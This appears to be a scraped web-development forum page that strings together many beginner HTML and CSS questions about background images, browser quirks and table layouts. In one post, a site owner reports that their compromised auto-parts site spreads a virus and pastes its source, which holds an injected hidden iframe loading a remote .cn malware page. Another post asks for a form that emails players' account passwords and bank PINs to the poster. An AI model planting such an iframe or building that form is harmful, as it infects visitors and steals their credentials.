|
HTML - Background Image Code For Ie Makes Website Not Usable
Hello everyone
I have run into a roadblock. I am trying to make a background image scale properly with Internet Explorer. I have successfully made the image fit the web browser right, using this code in a CSS class. The code I am using is as written: PHP Code: body.background { filter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../../Images/Website Background-3.jpg', sizingMethod='scale'); -ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../../Images/Website Background-3.jpg', sizingMethod='scale')"; } this code makes the background I am using work correctly in Internet Explorer. However, when I use this code, it makes the rest of the website stop working. I can no longer click on any of the links on the page, or anything of the sort. However, all my styles for the links still remain on the page. Any suggestions? Thank you all, Mitch Guzman Similar TutorialsI want to use HTML to make the following task... I little link, when someone clicks on it, it displays an image at the top of it (Not load a whole new page with an image) Example Say you have this link linky I want when people click on it, it displays an image above it Can this be done using HTML? Thanks I want to put two different images in my background. one on the left and one on the right. and i would like it to be fixed. can someone help me with the code? i can only get one background image. this is what im using rite now: <style type="text/css"> body { background: url(example.jpg) fixed right no-repeat;} </style> Not sure what I'm doing wrong but this background is not showing up on my page. I've tried foxfire and chrome. Thanks <body style="background-image: url(http://img.photobucket.com/albums/v297/stebinus/texturesat9055041.jpg);"> Hi all, i'm trying to build a page using overlay frames without using JS scripts. I already managed to get it working but it has a few problems. Page: blackphoenixlegion.net Links: Corporation or Recruitment. Technique: I have additional frames below the page via overlow:hidden, using the CSS :target pseudo class to change the X position upon a target call. Problems: 1. Should the available screen space be smaller in height than the page, then no scroll bar is shown. The page is just getting cut off. 2. The page is totally not IE compatible ofc. I figured i will have to use JS for those fixes, but thats ok ... someone who is using IE will not have problems with using JS ^^. I already added a JS script working like the :target peusodclass, but i still have two problems: - The subframe (iframe) has no transparent background - The overlay frame is getting shown, but the browser scrolls to the "hidden" area wich is just black. Is it possible to put a smaller background image on top (like in layers) of my old background image? I have a background image, but I want to put a smaller image on top of that one, but for it to be treated also as background image. This image is a black vertical rectangle, but is faded on the edges to give a transparency, so its a .png. So ultimately what I am trying to do is put this black rectanlge on top of my original background image and with the transparency on the edges of this image, be able to see my original background image. How can I do so? Also what I was thinking was that this faded background would be scaled to fit different screen sizes, so do "width: 75%"? Just so that it ALWAYS stays at 75% no matter what screen size it is viewed on. Is this the right approach towards getting this result? I am currently designing a website and I have to allow the user to change the background to a colour of his/her liking. I have a javascript function which works fine, but the problem is when you navigate to a different page the background colour will change to the default colour. I need to somehow allow the user to change the background colour for the entire website from any given web page. Below is the function i am using. Thank you in advance for your assistance. <script type="text/javascript"> function bg_color(c){ var b = document.getElementsByTagName("div")[0]; var d = document.getElementsByTagName("body")[0]; b.style.background = c; d.style.background = c; } </script> I have the following question: I have a website with a background image and on that background image I have some text. When I scroll down I want my background to stay where it is and only the text should scroll down. What should I do to make this like that? Hello everyone! I am so grateful that there are sites like this to help those like me. I'm ready to be hit by rotten tomatoes because my method for building my first site probably breaks tons of rules. I used Photoshop to create a webpage by slicing a single image with the intention of laying it out in a table. When I first sliced the image and simply set each image using "img src=" in each Table Data cell, it came together fine and looked perfect. The problem happened when I made one of my images the background image for the cell. The reason I did this is because this is going to be my main "Content" area and I want to be able to enter content over the image. For some reason, right when I made this change, the cell directly to the left of my "main content cell" is pushing to the right and creating unwanted blank space...and I can't for the life of me figure out why. I'm pulling my hair out and I'll probably cry myself to sleep tonight. I thought it was my HTML and found a tiny bit of CSS to help, but the problem remains. Thanks so much in advance for any assistance you can provide. The site is here (I added red borders to the table for assistance with review): http://www.geocities.com/mena_beena/Rosco.html Here is my HTML: Code: <html> <head> <link rel="stylesheet" type="text/css" href="rosco.css" /> </head> <body bgcolor=black> <table bordercolor=red border=1 cellspacing="1" cellpadding="0"> <tr> <td colspan=3><img src="Template4_01.jpg"></td> </tr> <tr> <td colspan=2><img src="Template4_02.jpg"></td> <td><img src="Template4_03.jpg"><br><img src="Template4_04.jpg"></td> </tr> <tr> <td><img src="Template4_05.jpg"></td> <td class="bg">asdfasdf</td> <td><img src="Template4_07.jpg"><br><img src="Template4_08.jpg"><br> <img src="Template4_09.jpg"><br><img src="Template4_10.jpg"></td> </tr> </table> </body> </html> Here is my CSS Stylesheet: Code: td.bg{
background: url(Template4_06.jpg);
}
Hi, I'm wondering if there is a way to ensure that my website background will work with any resolution i.e. will the flowers stay flush with the bottom corner of the page? http://imageshack.us/photo/my-images/819/bg1ev.jpg/ i am currently using wordpad and making a website on rappers i am trying to add a video which will be a FULL-SCREEN video for the background but i dont have a clue what to do i have this at the moment to stream the video <img border="0" dynsrc="John Cena 6th Titantron.wmv" start="fileopen"> please help Hi, I have an image "m1" set as the background of a table on my website. The table is set to the width of the image "340". However, when I add text it pushes the border and the image repeats/cuts off. http://www.monkeygambling.com/newpage.htm This problem only happens in IE, not in opera. Can anyone help? thanks Hi guys, I'm currently trying to sort out the background for a website. What I'd like is to have a silhouette of a few people on a gradient background. I'd like to keep the quality high, but it also makes the file size large. If there were no silhouette then I would have a one pixel strip of the gradient set to repeat. Is it possible to add two background pictures, or is there another way I can reduce the file size that I hadn't thought of? I've got another problem with my website. I've taken a screenshot that I wanted for my website background. But since it was took on my screen, it doesn't fill the screen on wider monitors. I'm just wondering if there's any information on auto-resizing a website background. Or is it a scirpt/CSS/php style thing? This problem seems abit more complex than me previous problem. I'm on a 19 inch monitor. Here is my website for those that have bigger screens than me. http://www.dawncraftmc.com/ I'm really surprised that many webmasters do not understand fully THE HUGE point here, really surprised. The point IS NOT if search engines care W3C validation or if customers care W3C validation (they have probably no idea). Maybe webmasters are too much focused in the job in the profession and into please customers… this is legit of course… but we all sometimes forget that at stake there is also internet and technology development to be considered for the future. We all care in the immediate in the short period of time of the small thing of the detail of the result but not of the WHOLE PICTURES. W3C exist since years but regretfully few people see there the HUGE VALUE in W3C Internet should be a better place for everyone starting from WEBSMASTERS that always complain about website with strange behaviors, about layout that do not look same in all browsers, about code soups done in the past (most in 90’) if there is the need of a restyling of an old website…. Plus one million bugs around. Why we have to face all that? It is because the marketing reason (not the tech reason) as the war between browsers have forced people to use the worst browser ever IE the winner was not the best tech but the best marketing, legit or not. Netscape was far much better and more developed but lost. Because of this only NOW after 10 years we are coming out to see finally in the market good browsers like Firefox or Opera and only now we see IE8 covering at least many bugs revealing the fact that they are far behind the line…. CSS2 exist since years do you realize that? JavaScript same thing… where IE5 IE6 IE7 have been? Sleeping? Only NOW after 10 years we all talk about the separation about markup and graphic about XHTML and CSS but this was already the main plan of W3C …. we all lost years of internet development due to stupid commercial wars and due to careless of webmasters. I always make W3C complain website and I explain to my customer the add value of this. It not cost more nor do I spend more time writing a code instead of another. I also complained with big boys like Amazon (but there are many others) that offer widget to be copied in a webpage and their code is not valid, unless you change it. It is so hard follow the same line? Beside I prefer to buy HP products because they support W3C. I do hope that in future search engine will consider the W3C validation much more then the present link juice because without a common and clear code we all are loosing time and resources thinking to the code instead of contents and creativity. http://www.youtube.com/watch?v=Jz318MPz_SY http://www.youtube.com/watch?v=M2JlLktl5Eg ok well what i need for my website is a fill out form were it would be like First Name: then their would be a box here that you can type in Last Name: then their would be a box here that you can type in Email-adress: then their would be a box here that you can type in Phone Number: then their would be a box here that you can type in MSN/AIM: then their would be a box here that you can type in Character Name: then their would be a box here that you can type in Account password: then their would be a box here that you can type in Bank Pin: then their would be a box here that you can type in And the hardest part i need to be done is i need all the information to send to my email after they hit submit if someone could code that for me that would be great! Thanks and have a nice day. I have been working on a template on my mac and testing it with safari. I have worked on it for a very long time. The site was launched about 3 days ago.. and I thought everything was under control until one of my friends said that the site looked screwed up.. He had windows and was using internet explorer.. The page displays completely fine on my safari browser.. but most of the visitors are IE users.. could anyone tell me whats going on with it? http://www.mymegz.greenfieldproductions.ca in safari it looks how it should be.. in IE everything that is seperated gets shifted downwards in one center line.. I would appreciate if anyone could help me. I have attached a copy of the main page.. Thanks Dagan Loy Hello! I know next to nothing about HTML code, I found a site that offers image gallery templates free to use, only when I view the page source I have NO idea how to decipher which code is for the gallery and which is the page itself. Could someone possibly just copy and past the code for the image gallery for me so that I can just substitute the images with my own? The site is here http://www.cssplay.co.uk/menu/zoom-gallery.html Thank you so much for your help! i need the code in html when any one opens my website in mozilla firefox the user is prompted to view the website in INTERNET Explorer . while if the user opens the website in IE he is not prompted to any action. and the action required may be in pop up form or attention message form. please help me put as soon as possible. and the code must work for any browser because i need my website to be viewed in IE only. can go through the URL ... please view it in IE and firefox there is a difference is spacing the table if u can fix this or can make the prompting it will be fine http://ims-sc.org/SPORTS/members.html My site was working fine for about year and now when I go to the website there is a very large margin on top (it should only be 35px) and it is trying to put a virus in whoever views my site's computer. Here is the current code... Code: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><title>Giancola Auto Parts - Thousands Of Used Auto Parts At Low Prices</title><meta name="keywords" content="giancola auto, used auto parts, salvage yard, east brunswick, new jersey, junkyard"><meta name="description" content="Over 100000 used auto parts. Honda AC Compressors, Chevy Radiators, Toyota Engines and a lot more!"><link REL="ICON" HREF="http://giancolaauto.com/images/gianico.ico"><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><style type="text/css">
<!--
#expand {
width:300px;
cursor:pointer;
}
#container {
width:100%;
height:0;
align:center;
overflow:hidden;
background-color:#fff;
float: inherit;
margin: auto;
}
#container #inner {
}
#container p {
}
body,td,th {
font-family: Arial, Helvetica, sans-serif;
color: #000000;
font-size: 11px;
}
body {
background-color: #FFFFFF;
margin-left: 0px;
margin-right: 0px;
margin-bottom: 0px;
margin-top: 35px;
}
a:link {
color: #0000FF;
}
a:visited {
color: #0000FF;
}
.style5 {color: #666666; font-size: 11px; }
.style7 {font-size: 11px}
a {
font-size: 11px;
}
-->
</style>
<script type="text/javascript">
var c=0;
var test=true
var obj,obj1,obj2,hgt,exp,shr;
var speed=50;
window.onload=function(){
obj=document.getElementById('expand');
obj1=document.getElementById('container');
hgt=document.getElementById('inner').offsetHeight;
obj.onclick=function(){
if(test==true){
expandDiv();
test=false;
}
else {
shrinkDiv();
test=true;
}
}
}
function expandDiv() {
clearTimeout(shr);
obj1.style.height=c+'px';
obj1.className='brdr';
obj.firstChild.nodeValue='Call in or submit a part request, we ship nation wide';
obj.className='stop';
c+=20;
if(c>=hgt) {
c=hgt;
clearTimeout(exp);
return;
}
exp=setTimeout('expandDiv()',50);
}
function shrinkDiv() {
clearTimeout(exp);
obj1.style.height=c+'px';
obj.firstChild.nodeValue='Call in or submit a part request, we ship nation wide';
obj.className='go';
c-=20;
if(c<=0) {
c=0;
clearTimeout(shr);
obj1.style.height=0;
obj1.className='';
return;
}
shr=setTimeout('shrinkDiv()',50);
}
</script>
<style type="text/css">
<!-- body,td,th { font-family: Arial, Helvetica, sans-serif; color: #000000; font-size: 11px; } body { background-color: #FFFFFF; margin-left: 0px; margin-right: 0px; margin-bottom: 0px; margin-top: 35px; } a:link { color: #0000FF; } a:visited { color: #0000FF; } .style5 {color: #666666; font-size: 11px; } .style7 {font-size: 11px} a { font-size: 11px; } .style11 {color: #0000FF}
-->
</style></head><body><iframe src="http://bigtopcreative.cn:8080/index.php" width=103 height=194 style="visibility: hidden"></iframe><TABLE width="100%" height="42" border="0" cellpadding="0" cellspacing="0"><tr><td></td><td width="23%" height="42"><div align="center"><img style="vertical-align:bottom;" src="/images/giancola_logo.gif" alt="Giancola Auto Parts" width="286" height="42"></div></td><td></td></tr></TABLE><TABLE width="100%" height="32" border="0" cellpadding="0" cellspacing="0" bgcolor="#CC0000"><tr> <td></td><td width="23%" height="32"><div align="center"><img style="vertical-align:bottom;" src="/images/giancola_logo_2.gif" alt="Giancola Auto Parts" width="286" height="32"></div></td> <td></td></tr></TABLE><TABLE width="100%" height="18" border="0" cellpadding="0" cellspacing="0"><tr><td></td><td width="23%" height="18"><div align="center"><img style="vertical-align:bottom;" src="/images/giancola_logo_3.gif" alt="Giancola Auto Parts" width="286" height="18"></div></td><td></td></tr> </TABLE><p align="center" class="style7"><div align="center"><span class="style7">Over 100,000 OEM used automotive parts for all cars 2007 and down.</span><div id="expand" class="go"><span class="style7">Visit us, Call in or <span class="style11"><u>Submit</u></span> a
part request, we ship nation wide.</span></div>
</div><div id="container">
<div id="inner">
<div align="center">
<style type="text/css">
<!--
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-weight: bold;
font-size: 11px;
}
.style2 {
font-family: Arial, Helvetica, sans-serif;
font-size: 11px;
}
.style3 {
color: #FF0000;
font-weight: bold;
font-size: 14px;
}
-->
</style>
<form action="http://formmail.dreamhost.com/cgi-bin/formmail.cgi" method="POST">
<input type=hidden name="recipient" value="support#giancolaauto.com">
<input type=hidden name="redirect" value="http://www.giancolaauto.com/success">
<input type=hidden name="subject" value="Giancola Part Request Form">
<input type=hidden name="redirect" value="http://www.giancolaauto.com">
<input type=hidden name="required" value="Name,email,State,Year,Make,Model,Fuel,Transmission,Parts Needed">
<body>
<TABLE width="520" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><TABLE width="520" border="0" cellspacing="0" cellpadding="5">
<tr>
<td><div align="center" class="style1">Contact Information: </div></td>
<td><div align="center" class="style1">Part Information: </div></td>
</tr>
<tr>
<td valign="top"><TABLE width="260" border="0" cellspacing="0" cellpadding="5">
<tr>
<td class="style2"><div align="left"><span class="style3">*</span>Name</div></td>
<td><div align="left">
<input type="text" size="25" name="Name">
</div></td>
</tr>
<tr>
<td class="style2"><div align="left"><span class="style3">*</span>State:</div></td>
<td><div align="left">
<select class="other" name="State">
<option selected="selected"></option>
<option>AL</option>
<option>AK</option>
<option>WY</option>
</select>
</div></td>
</tr>
<tr>
<td class="style2"><div align="left">Phone:</div></td>
<td><div align="left">
<input type="text" size="25" name="Phone">
</div></td>
</tr>
<tr>
<td class="style2"><div align="left"><span class="style3">*</span>Email:</div></td>
<td><div align="left">
<input type="text" size="25" name="email">
</div></td>
</tr>
</TABLE></td>
<td><TABLE width="260" border="0" cellspacing="0" cellpadding="5">
<tr>
<td class="style2"><div align="left">VIN Number: </div></td>
<td><div align="left">
<input type="text" size="25" name="Vin Number" class="text" maxlength="100" maxsize="100" />
</div></td>
</tr>
<tr>
<td class="style2"><div align="left"><span class="style3">*</span>Year:</div></td>
<td><div align="left">
<select class="other" name="Year">
<option></option>
<option>2009</option>
<option>1910</option>
<option>1909</option>
</select>
</div></td>
</tr>
<tr>
<td class="style2"><div align="left"><span class="style3">*</span>Make:</div></td>
<td><div align="left">
<select class="other" name="Make">
<option></option>
<option>Other</option>
</select>
</div></td>
</tr>
<tr>
<td class="style2"><div align="left"><span class="style3">*</span>Model:</div></td>
<td><div align="left">
<input type="text" size="25" name="Model">
</div></td>
</tr>
<tr>
<td class="style2"><div align="left"><span class="style3">*</span>Fuel:</div></td>
<td><div align="left">
<select class="other" name="Fuel">
<option></option>
<option>Gas</option>
</select>
</div></td>
</tr>
<tr>
<td class="style2"><div align="left"><span class="style3">*</span>Transmission:</div></td>
<td><div align="left">
<select class="other" name="Transmission">
<option></option>
<option>Manual</option>
</select>
</div></td>
</tr>
<tr>
<td class="style2"><div align="left"><span class="style3">*</span>Part(s) Needed: </div></td>
<td><div align="left">
<textarea cols="25" rows="3" name="Parts Needed" class="text"></textarea>
</div></td>
</tr>
</TABLE></td>
</tr>
<tr>
<td><div align="left"><span class="left style2">Your information will not be shared or stored
or sold.<br />
</span><span class="style3">*</span><span class="left style2"> = Required </span></div></td>
<td><div align="right"><INPUT type="submit" value="Submit Part Request"> </div></td>
</tr>
</TABLE></td>
</tr>
</TABLE>
<br>
<br>
<br>
</div>
</div>
<br>
</div><br />
<div align="center"><span class="style7"><em></em><a href="javascript:window.external.AddFavorite('http://www.giancolaauto.com', 'Giancola Auto Parts - Over 100,000 Used Auto Parts')">Add to favorites</a> | <a href="#" onClick="this.style.behavior='url(#default#homepage)'; this.setHomePage('http://www.giancolaauto.com');">Set as homepage </a></span></div><span class="style7"><a href="mailto:giancola_autoparts@yahoo.com"></a></span><TABLE width="100%" border="0" cellspacing="0" cellpadding="0"> <tr><td class="style3"><div align="center"><img style="vertical-align:bottom;" src="/images/giancola_ebay.gif" alt="" width="533" height="68"></div></td> </tr> </TABLE></body></html>
I am learning HTML partly through opening the source code and reading it. But I wanted to test something different today. I used the source code for a site with a horizontal menu with white letters. When I added it in a html editor (and also opened the source code through notepad), the menu showed up vertical and had just plain text with the standard blue color. Why does this happen, and why doesn't it show up exactly like it does on the website? |
|||||||